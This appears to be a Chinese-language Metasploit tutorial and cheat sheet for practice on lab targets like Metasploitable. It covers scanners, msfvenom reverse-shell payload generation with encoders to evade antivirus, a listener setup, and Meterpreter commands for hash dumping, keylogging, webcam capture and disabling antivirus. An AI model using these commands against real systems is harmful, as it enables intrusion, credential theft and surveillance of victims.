基本介绍 MSF是渗透测试领域最流行的渗透测试框架,它有以下几个模块:
辅 助 模 块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;
渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;
攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;
后渗透攻击模块 (Post),用于内网渗透的各种操作;
编 码 器 模 块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式);
 
所有模块位置:/usr/share/metasploit-framework/modules/
渗透步骤(Exploit) 
1 2 3 4 5 search xxx		 use xxx			 show options	 set  payload		exploit			 
参数摘要 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 reload_all		 back	 info	 check	 sessions		 sessions -l		 sessions -K		 sessions -i id 	 sessions -v		 sessions -u		 show options	 	 auxiliary	 	 exploits	 	 payloads	 	 targets	 	 advanced	 	 encoders	 
使用辅助模块(Auxiliary) 端口扫描 1 2 3 4 5 6 use auxiliary/scanner/portmap/portmap_amp use auxiliary/scanner/portscan/ftpbounce use auxiliary/scanner/portscan/tcp use auxiliary/scanner/portscan/ack use auxiliary/scanner/portscan/syn use auxiliary/scanner/portscan/xmas 
服务扫描 1 2 3 4 5 6 7 8 9 10 11 12 auxiliary/scanner/ssh/ssh_login		 auxiliary/scanner/vnc/vnc_none_auth	 auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_version	 auxiliary/scanner/smb/smb_enumusers	 auxiliary/scanner/smb/smb_login		 auxiliary/admin/smb/psexec_command	 auxiliary/scanner/mssql/mssql_ping	 auxiliary/admin/mssql/mssql_enum	 auxiliary/scanner/mysql/mysql_login	 auxiliary/admin/mysql/mysql_enum	 
攻击载荷和编码(Payloads && Encoders) MSF可以用以下方式,生成payload和编码 
1 2 3 4 5 6 7 use windows/meterpreter_reverse_http -E   强制编码 -e   要使用的编码器模块的名称 -f   输出文件名(否则为stdout) -t   输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等 -b   要避免的字符列表: '\x00\xff'  
但是我个人更喜欢用msfvenom生成shellcode然后编码免杀。 
Windows 
1 2 3 4 5 6 7 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=Kali监听端口 -f exe > msf.exe 参数选项: -p			指定的payload -e 			编码器,x86/shikata_ga_nai -i			迭代器,对有效载荷的编码次数 -f			输出文件的格式,exe、dll、raw 
Linux 
1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=6666 -f elf > msf.elf 
监听反弹shell 1 2 3 4 5 msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set  payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set  LHOST 10.1.1.15 msf5 exploit(multi/handler) > set  LPORT 6666 msf5 exploit(multi/handler) > run 
Meterpreter用例 刚获得Meterpreter Shell时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定
命令摘要 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwd 、ls 、cd getuid		 getsystem	 hashdump	 sysinfo		 idletim      route		 shell		 background	 upload ./1.txt c:\\1.txt		 download c:\1.txt ./			 search -f *.txt -d c://			 keyscan_start	 keyscan_stop	 keyscan_dump	 screenshot		 webcam_list		 webcam_snap		 webcam_stream	 sudo rdesktop -f 目标IP route add IP 子网掩码     
后渗透模块(Post) 1 2 3 4 5 6 7 run post/windows/gather/checkvm		 run post/linux/gather/checkvm run post/windows/manage/killav		 run post/windows/manage/enable_rdp	 run post/windows/gather/enum_logged_on_users	 run post/windows/gather/enum_applications		 run windows/gather/credentials/windows_autologin 
MSF官方后渗透模块参考:https://www.offensive-security.com/metasploit-unleashed/post-module-reference/ 
网络穿透 拿到反向shell之后,获取目标网络信息 
1 meterpreter > run get_local_subnets 
使用autoroute模块添加路由 
1 2 meterpreter > run autoroute -s 10.0.0.0/255.0.0.0 meterpreter > run autoroute -p		 
添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了
添加完成后使用ms17_010的扫描脚本进行目标内网的扫描
MSF靶机 Metasploitable2: 
下载地址:https://sourceforge.net/projects/metasploitable/ 
官方教程:https://metasploit.help.rapid7.com/docs/metasploitable-2 
Metasploitable3 :
下载地址:https://github.com/rapid7/metasploitable3/ 
视频教程演示:https://www.youtube.com/playlist?list=PLZOToVAK85MpnjpcVtNMwmCxMZRFaY6mT